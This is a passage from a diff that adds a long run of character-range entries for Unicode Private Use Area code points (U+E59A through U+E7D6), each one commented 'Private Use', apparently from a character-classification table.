+ ["\uE59A", "\uE59A"], /* Private Use */
+ ["\uE59B", "\uE59B"], /* Private Use */
+ ["\uE59C", "\uE59C"], /* Private Use */
+ ["\uE59D", "\uE59D"], /* Private Use */
+ ["\uE59E", "\uE59E"], /* Private Use */
+ ["\uE59F", "\uE59F"], /* Private Use */
+ ["\uE5A0", "\uE5A0"], /* Private Use */
+ ["\uE5A1", "\uE5A1"], /* Private Use */
+ ["\uE5A2", "\uE5A2"], /* Private Use */
+ ["\uE5A3", "\uE5A3"], /* Private Use */
+ ["\uE5A4", "\uE5A4"], /* Private Use */
+ ["\uE5A5", "\uE5A5"], /* Private Use */
+ ["\uE5A6", "\uE5A6"], /* Private Use */
+ ["\uE5A7", "\uE5A7"], /* Private Use */
+ ["\uE5A8", "\uE5A8"], /* Private Use */
+ ["\uE5A9", "\uE5A9"], /* Private Use */
+ ["\uE5AA", "\uE5AA"], /* Private Use */
+ ["\uE5AB", "\uE5AB"], /* Private Use */
+ ["\uE5AC", "\uE5AC"], /* Private Use */
+ ["\uE5AD", "\uE5AD"], /* Private Use */
+ ["\uE5AE", "\uE5AE"], /* Private Use */
+ ["\uE5AF", "\uE5AF"], /* Private Use */
+ ["\uE5B0", "\uE5B0"], /* Private Use */
+ ["\uE5B1", "\uE5B1"], /* Private Use */
+ ["\uE5B2", "\uE5B2"], /* Private Use */
+ ["\uE5B3", "\uE5B3"], /* Private Use */
+ ["\uE5B4", "\uE5B4"], /* Private Use */
+ ["\uE5B5", "\uE5B5"], /* Private Use */
+ ["\uE5B6", "\uE5B6"], /* Private Use */
+ ["\uE5B7", "\uE5B7"], /* Private Use */
+ ["\uE5B8", "\uE5B8"], /* Private Use */
+ ["\uE5B9", "\uE5B9"], /* Private Use */
+ ["\uE5BA", "\uE5BA"], /* Private Use */
+ ["\uE5BB", "\uE5BB"], /* Private Use */
+ ["\uE5BC", "\uE5BC"], /* Private Use */
+ ["\uE5BD", "\uE5BD"], /* Private Use */
+ ["\uE5BE", "\uE5BE"], /* Private Use */
+ ["\uE5BF", "\uE5BF"], /* Private Use */
+ ["\uE5C0", "\uE5C0"], /* Private Use */
+ ["\uE5C1", "\uE5C1"], /* Private Use */
+ ["\uE5C2", "\uE5C2"], /* Private Use */
+ ["\uE5C3", "\uE5C3"], /* Private Use */
+ ["\uE5C4", "\uE5C4"], /* Private Use */
+ ["\uE5C5", "\uE5C5"], /* Private Use */
+ ["\uE5C6", "\uE5C6"], /* Private Use */
+ ["\uE5C7", "\uE5C7"], /* Private Use */
+ ["\uE5C8", "\uE5C8"], /* Private Use */
+ ["\uE5C9", "\uE5C9"], /* Private Use */
+ ["\uE5CA", "\uE5CA"], /* Private Use */
+ ["\uE5CB", "\uE5CB"], /* Private Use */
+ ["\uE5CC", "\uE5CC"], /* Private Use */
+ ["\uE5CD", "\uE5CD"], /* Private Use */
+ ["\uE5CE", "\uE5CE"], /* Private Use */
+ ["\uE5CF", "\uE5CF"], /* Private Use */
+ ["\uE5D0", "\uE5D0"], /* Private Use */
+ ["\uE5D1", "\uE5D1"], /* Private Use */
+ ["\uE5D2", "\uE5D2"], /* Private Use */
+ ["\uE5D3", "\uE5D3"], /* Private Use */
+ ["\uE5D4", "\uE5D4"], /* Private Use */
+ ["\uE5D5", "\uE5D5"], /* Private Use */
+ ["\uE5D6", "\uE5D6"], /* Private Use */
+ ["\uE5D7", "\uE5D7"], /* Private Use */
+ ["\uE5D8", "\uE5D8"], /* Private Use */
+ ["\uE5D9", "\uE5D9"], /* Private Use */
+ ["\uE5DA", "\uE5DA"], /* Private Use */
+ ["\uE5DB", "\uE5DB"], /* Private Use */
+ ["\uE5DC", "\uE5DC"], /* Private Use */
+ ["\uE5DD", "\uE5DD"], /* Private Use */
+ ["\uE5DE", "\uE5DE"], /* Private Use */
+ ["\uE5DF", "\uE5DF"], /* Private Use */
+ ["\uE5E0", "\uE5E0"], /* Private Use */
+ ["\uE5E1", "\uE5E1"], /* Private Use */
+ ["\uE5E2", "\uE5E2"], /* Private Use */
+ ["\uE5E3", "\uE5E3"], /* Private Use */
+ ["\uE5E4", "\uE5E4"], /* Private Use */
+ ["\uE5E5", "\uE5E5"], /* Private Use */
+ ["\uE5E6", "\uE5E6"], /* Private Use */
+ ["\uE5E7", "\uE5E7"], /* Private Use */
+ ["\uE5E8", "\uE5E8"], /* Private Use */
+ ["\uE5E9", "\uE5E9"], /* Private Use */
+ ["\uE5EA", "\uE5EA"], /* Private Use */
+ ["\uE5EB", "\uE5EB"], /* Private Use */
+ ["\uE5EC", "\uE5EC"], /* Private Use */
+ ["\uE5ED", "\uE5ED"], /* Private Use */
+ ["\uE5EE", "\uE5EE"], /* Private Use */
+ ["\uE5EF", "\uE5EF"], /* Private Use */
+ ["\uE5F0", "\uE5F0"], /* Private Use */
+ ["\uE5F1", "\uE5F1"], /* Private Use */
+ ["\uE5F2", "\uE5F2"], /* Private Use */
+ ["\uE5F3", "\uE5F3"], /* Private Use */
+ ["\uE5F4", "\uE5F4"], /* Private Use */
+ ["\uE5F5", "\uE5F5"], /* Private Use */
+ ["\uE5F6", "\uE5F6"], /* Private Use */
+ ["\uE5F7", "\uE5F7"], /* Private Use */
+ ["\uE5F8", "\uE5F8"], /* Private Use */
+ ["\uE5F9", "\uE5F9"], /* Private Use */
+ ["\uE5FA", "\uE5FA"], /* Private Use */
+ ["\uE5FB", "\uE5FB"], /* Private Use */
+ ["\uE5FC", "\uE5FC"], /* Private Use */
+ ["\uE5FD", "\uE5FD"], /* Private Use */
+ ["\uE5FE", "\uE5FE"], /* Private Use */
+ ["\uE5FF", "\uE5FF"], /* Private Use */
+ ["\uE600", "\uE600"], /* Private Use */
+ ["\uE601", "\uE601"], /* Private Use */
+ ["\uE602", "\uE602"], /* Private Use */
+ ["\uE603", "\uE603"], /* Private Use */
+ ["\uE604", "\uE604"], /* Private Use */
+ ["\uE605", "\uE605"], /* Private Use */
+ ["\uE606", "\uE606"], /* Private Use */
+ ["\uE607", "\uE607"], /* Private Use */
+ ["\uE608", "\uE608"], /* Private Use */
+ ["\uE609", "\uE609"], /* Private Use */
+ ["\uE60A", "\uE60A"], /* Private Use */
+ ["\uE60B", "\uE60B"], /* Private Use */
+ ["\uE60C", "\uE60C"], /* Private Use */
+ ["\uE60D", "\uE60D"], /* Private Use */
+ ["\uE60E", "\uE60E"], /* Private Use */
+ ["\uE60F", "\uE60F"], /* Private Use */
+ ["\uE610", "\uE610"], /* Private Use */
+ ["\uE611", "\uE611"], /* Private Use */
+ ["\uE612", "\uE612"], /* Private Use */
+ ["\uE613", "\uE613"], /* Private Use */
+ ["\uE614", "\uE614"], /* Private Use */
+ ["\uE615", "\uE615"], /* Private Use */
+ ["\uE616", "\uE616"], /* Private Use */
+ ["\uE617", "\uE617"], /* Private Use */
+ ["\uE618", "\uE618"], /* Private Use */
+ ["\uE619", "\uE619"], /* Private Use */
+ ["\uE61A", "\uE61A"], /* Private Use */
+ ["\uE61B", "\uE61B"], /* Private Use */
+ ["\uE61C", "\uE61C"], /* Private Use */
+ ["\uE61D", "\uE61D"], /* Private Use */
+ ["\uE61E", "\uE61E"], /* Private Use */
+ ["\uE61F", "\uE61F"], /* Private Use */
+ ["\uE620", "\uE620"], /* Private Use */
+ ["\uE621", "\uE621"], /* Private Use */
+ ["\uE622", "\uE622"], /* Private Use */
+ ["\uE623", "\uE623"], /* Private Use */
+ ["\uE624", "\uE624"], /* Private Use */
+ ["\uE625", "\uE625"], /* Private Use */
+ ["\uE626", "\uE626"], /* Private Use */
+ ["\uE627", "\uE627"], /* Private Use */
+ ["\uE628", "\uE628"], /* Private Use */
+ ["\uE629", "\uE629"], /* Private Use */
+ ["\uE62A", "\uE62A"], /* Private Use */
+ ["\uE62B", "\uE62B"], /* Private Use */
+ ["\uE62C", "\uE62C"], /* Private Use */
+ ["\uE62D", "\uE62D"], /* Private Use */
+ ["\uE62E", "\uE62E"], /* Private Use */
+ ["\uE62F", "\uE62F"], /* Private Use */
+ ["\uE630", "\uE630"], /* Private Use */
+ ["\uE631", "\uE631"], /* Private Use */
+ ["\uE632", "\uE632"], /* Private Use */
+ ["\uE633", "\uE633"], /* Private Use */
+ ["\uE634", "\uE634"], /* Private Use */
+ ["\uE635", "\uE635"], /* Private Use */
+ ["\uE636", "\uE636"], /* Private Use */
+ ["\uE637", "\uE637"], /* Private Use */
+ ["\uE638", "\uE638"], /* Private Use */
+ ["\uE639", "\uE639"], /* Private Use */
+ ["\uE63A", "\uE63A"], /* Private Use */
+ ["\uE63B", "\uE63B"], /* Private Use */
+ ["\uE63C", "\uE63C"], /* Private Use */
+ ["\uE63D", "\uE63D"], /* Private Use */
+ ["\uE63E", "\uE63E"], /* Private Use */
+ ["\uE63F", "\uE63F"], /* Private Use */
+ ["\uE640", "\uE640"], /* Private Use */
+ ["\uE641", "\uE641"], /* Private Use */
+ ["\uE642", "\uE642"], /* Private Use */
+ ["\uE643", "\uE643"], /* Private Use */
+ ["\uE644", "\uE644"], /* Private Use */
+ ["\uE645", "\uE645"], /* Private Use */
+ ["\uE646", "\uE646"], /* Private Use */
+ ["\uE647", "\uE647"], /* Private Use */
+ ["\uE648", "\uE648"], /* Private Use */
+ ["\uE649", "\uE649"], /* Private Use */
+ ["\uE64A", "\uE64A"], /* Private Use */
+ ["\uE64B", "\uE64B"], /* Private Use */
+ ["\uE64C", "\uE64C"], /* Private Use */
+ ["\uE64D", "\uE64D"], /* Private Use */
+ ["\uE64E", "\uE64E"], /* Private Use */
+ ["\uE64F", "\uE64F"], /* Private Use */
+ ["\uE650", "\uE650"], /* Private Use */
+ ["\uE651", "\uE651"], /* Private Use */
+ ["\uE652", "\uE652"], /* Private Use */
+ ["\uE653", "\uE653"], /* Private Use */
+ ["\uE654", "\uE654"], /* Private Use */
+ ["\uE655", "\uE655"], /* Private Use */
+ ["\uE656", "\uE656"], /* Private Use */
+ ["\uE657", "\uE657"], /* Private Use */
+ ["\uE658", "\uE658"], /* Private Use */
+ ["\uE659", "\uE659"], /* Private Use */
+ ["\uE65A", "\uE65A"], /* Private Use */
+ ["\uE65B", "\uE65B"], /* Private Use */
+ ["\uE65C", "\uE65C"], /* Private Use */
+ ["\uE65D", "\uE65D"], /* Private Use */
+ ["\uE65E", "\uE65E"], /* Private Use */
+ ["\uE65F", "\uE65F"], /* Private Use */
+ ["\uE660", "\uE660"], /* Private Use */
+ ["\uE661", "\uE661"], /* Private Use */
+ ["\uE662", "\uE662"], /* Private Use */
+ ["\uE663", "\uE663"], /* Private Use */
+ ["\uE664", "\uE664"], /* Private Use */
+ ["\uE665", "\uE665"], /* Private Use */
+ ["\uE666", "\uE666"], /* Private Use */
+ ["\uE667", "\uE667"], /* Private Use */
+ ["\uE668", "\uE668"], /* Private Use */
+ ["\uE669", "\uE669"], /* Private Use */
+ ["\uE66A", "\uE66A"], /* Private Use */
+ ["\uE66B", "\uE66B"], /* Private Use */
+ ["\uE66C", "\uE66C"], /* Private Use */
+ ["\uE66D", "\uE66D"], /* Private Use */
+ ["\uE66E", "\uE66E"], /* Private Use */
+ ["\uE66F", "\uE66F"], /* Private Use */
+ ["\uE670", "\uE670"], /* Private Use */
+ ["\uE671", "\uE671"], /* Private Use */
+ ["\uE672", "\uE672"], /* Private Use */
+ ["\uE673", "\uE673"], /* Private Use */
+ ["\uE674", "\uE674"], /* Private Use */
+ ["\uE675", "\uE675"], /* Private Use */
+ ["\uE676", "\uE676"], /* Private Use */
+ ["\uE677", "\uE677"], /* Private Use */
+ ["\uE678", "\uE678"], /* Private Use */
+ ["\uE679", "\uE679"], /* Private Use */
+ ["\uE67A", "\uE67A"], /* Private Use */
+ ["\uE67B", "\uE67B"], /* Private Use */
+ ["\uE67C", "\uE67C"], /* Private Use */
+ ["\uE67D", "\uE67D"], /* Private Use */
+ ["\uE67E", "\uE67E"], /* Private Use */
+ ["\uE67F", "\uE67F"], /* Private Use */
+ ["\uE680", "\uE680"], /* Private Use */
+ ["\uE681", "\uE681"], /* Private Use */
+ ["\uE682", "\uE682"], /* Private Use */
+ ["\uE683", "\uE683"], /* Private Use */
+ ["\uE684", "\uE684"], /* Private Use */
+ ["\uE685", "\uE685"], /* Private Use */
+ ["\uE686", "\uE686"], /* Private Use */
+ ["\uE687", "\uE687"], /* Private Use */
+ ["\uE688", "\uE688"], /* Private Use */
+ ["\uE689", "\uE689"], /* Private Use */
+ ["\uE68A", "\uE68A"], /* Private Use */
+ ["\uE68B", "\uE68B"], /* Private Use */
+ ["\uE68C", "\uE68C"], /* Private Use */
+ ["\uE68D", "\uE68D"], /* Private Use */
+ ["\uE68E", "\uE68E"], /* Private Use */
+ ["\uE68F", "\uE68F"], /* Private Use */
+ ["\uE690", "\uE690"], /* Private Use */
+ ["\uE691", "\uE691"], /* Private Use */
+ ["\uE692", "\uE692"], /* Private Use */
+ ["\uE693", "\uE693"], /* Private Use */
+ ["\uE694", "\uE694"], /* Private Use */
+ ["\uE695", "\uE695"], /* Private Use */
+ ["\uE696", "\uE696"], /* Private Use */
+ ["\uE697", "\uE697"], /* Private Use */
+ ["\uE698", "\uE698"], /* Private Use */
+ ["\uE699", "\uE699"], /* Private Use */
+ ["\uE69A", "\uE69A"], /* Private Use */
+ ["\uE69B", "\uE69B"], /* Private Use */
+ ["\uE69C", "\uE69C"], /* Private Use */
+ ["\uE69D", "\uE69D"], /* Private Use */
+ ["\uE69E", "\uE69E"], /* Private Use */
+ ["\uE69F", "\uE69F"], /* Private Use */
+ ["\uE6A0", "\uE6A0"], /* Private Use */
+ ["\uE6A1", "\uE6A1"], /* Private Use */
+ ["\uE6A2", "\uE6A2"], /* Private Use */
+ ["\uE6A3", "\uE6A3"], /* Private Use */
+ ["\uE6A4", "\uE6A4"], /* Private Use */
+ ["\uE6A5", "\uE6A5"], /* Private Use */
+ ["\uE6A6", "\uE6A6"], /* Private Use */
+ ["\uE6A7", "\uE6A7"], /* Private Use */
+ ["\uE6A8", "\uE6A8"], /* Private Use */
+ ["\uE6A9", "\uE6A9"], /* Private Use */
+ ["\uE6AA", "\uE6AA"], /* Private Use */
+ ["\uE6AB", "\uE6AB"], /* Private Use */
+ ["\uE6AC", "\uE6AC"], /* Private Use */
+ ["\uE6AD", "\uE6AD"], /* Private Use */
+ ["\uE6AE", "\uE6AE"], /* Private Use */
+ ["\uE6AF", "\uE6AF"], /* Private Use */
+ ["\uE6B0", "\uE6B0"], /* Private Use */
+ ["\uE6B1", "\uE6B1"], /* Private Use */
+ ["\uE6B2", "\uE6B2"], /* Private Use */
+ ["\uE6B3", "\uE6B3"], /* Private Use */
+ ["\uE6B4", "\uE6B4"], /* Private Use */
+ ["\uE6B5", "\uE6B5"], /* Private Use */
+ ["\uE6B6", "\uE6B6"], /* Private Use */
+ ["\uE6B7", "\uE6B7"], /* Private Use */
+ ["\uE6B8", "\uE6B8"], /* Private Use */
+ ["\uE6B9", "\uE6B9"], /* Private Use */
+ ["\uE6BA", "\uE6BA"], /* Private Use */
+ ["\uE6BB", "\uE6BB"], /* Private Use */
+ ["\uE6BC", "\uE6BC"], /* Private Use */
+ ["\uE6BD", "\uE6BD"], /* Private Use */
+ ["\uE6BE", "\uE6BE"], /* Private Use */
+ ["\uE6BF", "\uE6BF"], /* Private Use */
+ ["\uE6C0", "\uE6C0"], /* Private Use */
+ ["\uE6C1", "\uE6C1"], /* Private Use */
+ ["\uE6C2", "\uE6C2"], /* Private Use */
+ ["\uE6C3", "\uE6C3"], /* Private Use */
+ ["\uE6C4", "\uE6C4"], /* Private Use */
+ ["\uE6C5", "\uE6C5"], /* Private Use */
+ ["\uE6C6", "\uE6C6"], /* Private Use */
+ ["\uE6C7", "\uE6C7"], /* Private Use */
+ ["\uE6C8", "\uE6C8"], /* Private Use */
+ ["\uE6C9", "\uE6C9"], /* Private Use */
+ ["\uE6CA", "\uE6CA"], /* Private Use */
+ ["\uE6CB", "\uE6CB"], /* Private Use */
+ ["\uE6CC", "\uE6CC"], /* Private Use */
+ ["\uE6CD", "\uE6CD"], /* Private Use */
+ ["\uE6CE", "\uE6CE"], /* Private Use */
+ ["\uE6CF", "\uE6CF"], /* Private Use */
+ ["\uE6D0", "\uE6D0"], /* Private Use */
+ ["\uE6D1", "\uE6D1"], /* Private Use */
+ ["\uE6D2", "\uE6D2"], /* Private Use */
+ ["\uE6D3", "\uE6D3"], /* Private Use */
+ ["\uE6D4", "\uE6D4"], /* Private Use */
+ ["\uE6D5", "\uE6D5"], /* Private Use */
+ ["\uE6D6", "\uE6D6"], /* Private Use */
+ ["\uE6D7", "\uE6D7"], /* Private Use */
+ ["\uE6D8", "\uE6D8"], /* Private Use */
+ ["\uE6D9", "\uE6D9"], /* Private Use */
+ ["\uE6DA", "\uE6DA"], /* Private Use */
+ ["\uE6DB", "\uE6DB"], /* Private Use */
+ ["\uE6DC", "\uE6DC"], /* Private Use */
+ ["\uE6DD", "\uE6DD"], /* Private Use */
+ ["\uE6DE", "\uE6DE"], /* Private Use */
+ ["\uE6DF", "\uE6DF"], /* Private Use */
+ ["\uE6E0", "\uE6E0"], /* Private Use */
+ ["\uE6E1", "\uE6E1"], /* Private Use */
+ ["\uE6E2", "\uE6E2"], /* Private Use */
+ ["\uE6E3", "\uE6E3"], /* Private Use */
+ ["\uE6E4", "\uE6E4"], /* Private Use */
+ ["\uE6E5", "\uE6E5"], /* Private Use */
+ ["\uE6E6", "\uE6E6"], /* Private Use */
+ ["\uE6E7", "\uE6E7"], /* Private Use */
+ ["\uE6E8", "\uE6E8"], /* Private Use */
+ ["\uE6E9", "\uE6E9"], /* Private Use */
+ ["\uE6EA", "\uE6EA"], /* Private Use */
+ ["\uE6EB", "\uE6EB"], /* Private Use */
+ ["\uE6EC", "\uE6EC"], /* Private Use */
+ ["\uE6ED", "\uE6ED"], /* Private Use */
+ ["\uE6EE", "\uE6EE"], /* Private Use */
+ ["\uE6EF", "\uE6EF"], /* Private Use */
+ ["\uE6F0", "\uE6F0"], /* Private Use */
+ ["\uE6F1", "\uE6F1"], /* Private Use */
+ ["\uE6F2", "\uE6F2"], /* Private Use */
+ ["\uE6F3", "\uE6F3"], /* Private Use */
+ ["\uE6F4", "\uE6F4"], /* Private Use */
+ ["\uE6F5", "\uE6F5"], /* Private Use */
+ ["\uE6F6", "\uE6F6"], /* Private Use */
+ ["\uE6F7", "\uE6F7"], /* Private Use */
+ ["\uE6F8", "\uE6F8"], /* Private Use */
+ ["\uE6F9", "\uE6F9"], /* Private Use */
+ ["\uE6FA", "\uE6FA"], /* Private Use */
+ ["\uE6FB", "\uE6FB"], /* Private Use */
+ ["\uE6FC", "\uE6FC"], /* Private Use */
+ ["\uE6FD", "\uE6FD"], /* Private Use */
+ ["\uE6FE", "\uE6FE"], /* Private Use */
+ ["\uE6FF", "\uE6FF"], /* Private Use */
+ ["\uE700", "\uE700"], /* Private Use */
+ ["\uE701", "\uE701"], /* Private Use */
+ ["\uE702", "\uE702"], /* Private Use */
+ ["\uE703", "\uE703"], /* Private Use */
+ ["\uE704", "\uE704"], /* Private Use */
+ ["\uE705", "\uE705"], /* Private Use */
+ ["\uE706", "\uE706"], /* Private Use */
+ ["\uE707", "\uE707"], /* Private Use */
+ ["\uE708", "\uE708"], /* Private Use */
+ ["\uE709", "\uE709"], /* Private Use */
+ ["\uE70A", "\uE70A"], /* Private Use */
+ ["\uE70B", "\uE70B"], /* Private Use */
+ ["\uE70C", "\uE70C"], /* Private Use */
+ ["\uE70D", "\uE70D"], /* Private Use */
+ ["\uE70E", "\uE70E"], /* Private Use */
+ ["\uE70F", "\uE70F"], /* Private Use */
+ ["\uE710", "\uE710"], /* Private Use */
+ ["\uE711", "\uE711"], /* Private Use */
+ ["\uE712", "\uE712"], /* Private Use */
+ ["\uE713", "\uE713"], /* Private Use */
+ ["\uE714", "\uE714"], /* Private Use */
+ ["\uE715", "\uE715"], /* Private Use */
+ ["\uE716", "\uE716"], /* Private Use */
+ ["\uE717", "\uE717"], /* Private Use */
+ ["\uE718", "\uE718"], /* Private Use */
+ ["\uE719", "\uE719"], /* Private Use */
+ ["\uE71A", "\uE71A"], /* Private Use */
+ ["\uE71B", "\uE71B"], /* Private Use */
+ ["\uE71C", "\uE71C"], /* Private Use */
+ ["\uE71D", "\uE71D"], /* Private Use */
+ ["\uE71E", "\uE71E"], /* Private Use */
+ ["\uE71F", "\uE71F"], /* Private Use */
+ ["\uE720", "\uE720"], /* Private Use */
+ ["\uE721", "\uE721"], /* Private Use */
+ ["\uE722", "\uE722"], /* Private Use */
+ ["\uE723", "\uE723"], /* Private Use */
+ ["\uE724", "\uE724"], /* Private Use */
+ ["\uE725", "\uE725"], /* Private Use */
+ ["\uE726", "\uE726"], /* Private Use */
+ ["\uE727", "\uE727"], /* Private Use */
+ ["\uE728", "\uE728"], /* Private Use */
+ ["\uE729", "\uE729"], /* Private Use */
+ ["\uE72A", "\uE72A"], /* Private Use */
+ ["\uE72B", "\uE72B"], /* Private Use */
+ ["\uE72C", "\uE72C"], /* Private Use */
+ ["\uE72D", "\uE72D"], /* Private Use */
+ ["\uE72E", "\uE72E"], /* Private Use */
+ ["\uE72F", "\uE72F"], /* Private Use */
+ ["\uE730", "\uE730"], /* Private Use */
+ ["\uE731", "\uE731"], /* Private Use */
+ ["\uE732", "\uE732"], /* Private Use */
+ ["\uE733", "\uE733"], /* Private Use */
+ ["\uE734", "\uE734"], /* Private Use */
+ ["\uE735", "\uE735"], /* Private Use */
+ ["\uE736", "\uE736"], /* Private Use */
+ ["\uE737", "\uE737"], /* Private Use */
+ ["\uE738", "\uE738"], /* Private Use */
+ ["\uE739", "\uE739"], /* Private Use */
+ ["\uE73A", "\uE73A"], /* Private Use */
+ ["\uE73B", "\uE73B"], /* Private Use */
+ ["\uE73C", "\uE73C"], /* Private Use */
+ ["\uE73D", "\uE73D"], /* Private Use */
+ ["\uE73E", "\uE73E"], /* Private Use */
+ ["\uE73F", "\uE73F"], /* Private Use */
+ ["\uE740", "\uE740"], /* Private Use */
+ ["\uE741", "\uE741"], /* Private Use */
+ ["\uE742", "\uE742"], /* Private Use */
+ ["\uE743", "\uE743"], /* Private Use */
+ ["\uE744", "\uE744"], /* Private Use */
+ ["\uE745", "\uE745"], /* Private Use */
+ ["\uE746", "\uE746"], /* Private Use */
+ ["\uE747", "\uE747"], /* Private Use */
+ ["\uE748", "\uE748"], /* Private Use */
+ ["\uE749", "\uE749"], /* Private Use */
+ ["\uE74A", "\uE74A"], /* Private Use */
+ ["\uE74B", "\uE74B"], /* Private Use */
+ ["\uE74C", "\uE74C"], /* Private Use */
+ ["\uE74D", "\uE74D"], /* Private Use */
+ ["\uE74E", "\uE74E"], /* Private Use */
+ ["\uE74F", "\uE74F"], /* Private Use */
+ ["\uE750", "\uE750"], /* Private Use */
+ ["\uE751", "\uE751"], /* Private Use */
+ ["\uE752", "\uE752"], /* Private Use */
+ ["\uE753", "\uE753"], /* Private Use */
+ ["\uE754", "\uE754"], /* Private Use */
+ ["\uE755", "\uE755"], /* Private Use */
+ ["\uE756", "\uE756"], /* Private Use */
+ ["\uE757", "\uE757"], /* Private Use */
+ ["\uE758", "\uE758"], /* Private Use */
+ ["\uE759", "\uE759"], /* Private Use */
+ ["\uE75A", "\uE75A"], /* Private Use */
+ ["\uE75B", "\uE75B"], /* Private Use */
+ ["\uE75C", "\uE75C"], /* Private Use */
+ ["\uE75D", "\uE75D"], /* Private Use */
+ ["\uE75E", "\uE75E"], /* Private Use */
+ ["\uE75F", "\uE75F"], /* Private Use */
+ ["\uE760", "\uE760"], /* Private Use */
+ ["\uE761", "\uE761"], /* Private Use */
+ ["\uE762", "\uE762"], /* Private Use */
+ ["\uE763", "\uE763"], /* Private Use */
+ ["\uE764", "\uE764"], /* Private Use */
+ ["\uE765", "\uE765"], /* Private Use */
+ ["\uE766", "\uE766"], /* Private Use */
+ ["\uE767", "\uE767"], /* Private Use */
+ ["\uE768", "\uE768"], /* Private Use */
+ ["\uE769", "\uE769"], /* Private Use */
+ ["\uE76A", "\uE76A"], /* Private Use */
+ ["\uE76B", "\uE76B"], /* Private Use */
+ ["\uE76C", "\uE76C"], /* Private Use */
+ ["\uE76D", "\uE76D"], /* Private Use */
+ ["\uE76E", "\uE76E"], /* Private Use */
+ ["\uE76F", "\uE76F"], /* Private Use */
+ ["\uE770", "\uE770"], /* Private Use */
+ ["\uE771", "\uE771"], /* Private Use */
+ ["\uE772", "\uE772"], /* Private Use */
+ ["\uE773", "\uE773"], /* Private Use */
+ ["\uE774", "\uE774"], /* Private Use */
+ ["\uE775", "\uE775"], /* Private Use */
+ ["\uE776", "\uE776"], /* Private Use */
+ ["\uE777", "\uE777"], /* Private Use */
+ ["\uE778", "\uE778"], /* Private Use */
+ ["\uE779", "\uE779"], /* Private Use */
+ ["\uE77A", "\uE77A"], /* Private Use */
+ ["\uE77B", "\uE77B"], /* Private Use */
+ ["\uE77C", "\uE77C"], /* Private Use */
+ ["\uE77D", "\uE77D"], /* Private Use */
+ ["\uE77E", "\uE77E"], /* Private Use */
+ ["\uE77F", "\uE77F"], /* Private Use */
+ ["\uE780", "\uE780"], /* Private Use */
+ ["\uE781", "\uE781"], /* Private Use */
+ ["\uE782", "\uE782"], /* Private Use */
+ ["\uE783", "\uE783"], /* Private Use */
+ ["\uE784", "\uE784"], /* Private Use */
+ ["\uE785", "\uE785"], /* Private Use */
+ ["\uE786", "\uE786"], /* Private Use */
+ ["\uE787", "\uE787"], /* Private Use */
+ ["\uE788", "\uE788"], /* Private Use */
+ ["\uE789", "\uE789"], /* Private Use */
+ ["\uE78A", "\uE78A"], /* Private Use */
+ ["\uE78B", "\uE78B"], /* Private Use */
+ ["\uE78C", "\uE78C"], /* Private Use */
+ ["\uE78D", "\uE78D"], /* Private Use */
+ ["\uE78E", "\uE78E"], /* Private Use */
+ ["\uE78F", "\uE78F"], /* Private Use */
+ ["\uE790", "\uE790"], /* Private Use */
+ ["\uE791", "\uE791"], /* Private Use */
+ ["\uE792", "\uE792"], /* Private Use */
+ ["\uE793", "\uE793"], /* Private Use */
+ ["\uE794", "\uE794"], /* Private Use */
+ ["\uE795", "\uE795"], /* Private Use */
+ ["\uE796", "\uE796"], /* Private Use */
+ ["\uE797", "\uE797"], /* Private Use */
+ ["\uE798", "\uE798"], /* Private Use */
+ ["\uE799", "\uE799"], /* Private Use */
+ ["\uE79A", "\uE79A"], /* Private Use */
+ ["\uE79B", "\uE79B"], /* Private Use */
+ ["\uE79C", "\uE79C"], /* Private Use */
+ ["\uE79D", "\uE79D"], /* Private Use */
+ ["\uE79E", "\uE79E"], /* Private Use */
+ ["\uE79F", "\uE79F"], /* Private Use */
+ ["\uE7A0", "\uE7A0"], /* Private Use */
+ ["\uE7A1", "\uE7A1"], /* Private Use */
+ ["\uE7A2", "\uE7A2"], /* Private Use */
+ ["\uE7A3", "\uE7A3"], /* Private Use */
+ ["\uE7A4", "\uE7A4"], /* Private Use */
+ ["\uE7A5", "\uE7A5"], /* Private Use */
+ ["\uE7A6", "\uE7A6"], /* Private Use */
+ ["\uE7A7", "\uE7A7"], /* Private Use */
+ ["\uE7A8", "\uE7A8"], /* Private Use */
+ ["\uE7A9", "\uE7A9"], /* Private Use */
+ ["\uE7AA", "\uE7AA"], /* Private Use */
+ ["\uE7AB", "\uE7AB"], /* Private Use */
+ ["\uE7AC", "\uE7AC"], /* Private Use */
+ ["\uE7AD", "\uE7AD"], /* Private Use */
+ ["\uE7AE", "\uE7AE"], /* Private Use */
+ ["\uE7AF", "\uE7AF"], /* Private Use */
+ ["\uE7B0", "\uE7B0"], /* Private Use */
+ ["\uE7B1", "\uE7B1"], /* Private Use */
+ ["\uE7B2", "\uE7B2"], /* Private Use */
+ ["\uE7B3", "\uE7B3"], /* Private Use */
+ ["\uE7B4", "\uE7B4"], /* Private Use */
+ ["\uE7B5", "\uE7B5"], /* Private Use */
+ ["\uE7B6", "\uE7B6"], /* Private Use */
+ ["\uE7B7", "\uE7B7"], /* Private Use */
+ ["\uE7B8", "\uE7B8"], /* Private Use */
+ ["\uE7B9", "\uE7B9"], /* Private Use */
+ ["\uE7BA", "\uE7BA"], /* Private Use */
+ ["\uE7BB", "\uE7BB"], /* Private Use */
+ ["\uE7BC", "\uE7BC"], /* Private Use */
+ ["\uE7BD", "\uE7BD"], /* Private Use */
+ ["\uE7BE", "\uE7BE"], /* Private Use */
+ ["\uE7BF", "\uE7BF"], /* Private Use */
+ ["\uE7C0", "\uE7C0"], /* Private Use */
+ ["\uE7C1", "\uE7C1"], /* Private Use */
+ ["\uE7C2", "\uE7C2"], /* Private Use */
+ ["\uE7C3", "\uE7C3"], /* Private Use */
+ ["\uE7C4", "\uE7C4"], /* Private Use */
+ ["\uE7C5", "\uE7C5"], /* Private Use */
+ ["\uE7C6", "\uE7C6"], /* Private Use */
+ ["\uE7C7", "\uE7C7"], /* Private Use */
+ ["\uE7C8", "\uE7C8"], /* Private Use */
+ ["\uE7C9", "\uE7C9"], /* Private Use */
+ ["\uE7CA", "\uE7CA"], /* Private Use */
+ ["\uE7CB", "\uE7CB"], /* Private Use */
+ ["\uE7CC", "\uE7CC"], /* Private Use */
+ ["\uE7CD", "\uE7CD"], /* Private Use */
+ ["\uE7CE", "\uE7CE"], /* Private Use */
+ ["\uE7CF", "\uE7CF"], /* Private Use */
+ ["\uE7D0", "\uE7D0"], /* Private Use */
+ ["\uE7D1", "\uE7D1"], /* Private Use */
+ ["\uE7D2", "\uE7D2"], /* Private Use */
+ ["\uE7D3", "\uE7D3"], /* Private Use */
+ ["\uE7D4", "\uE7D4"], /* Private Use */
+ ["\uE7D5", "\uE7D5"], /* Private Use */
+ ["\uE7D6", "\uE7D6"], /* Private Use */
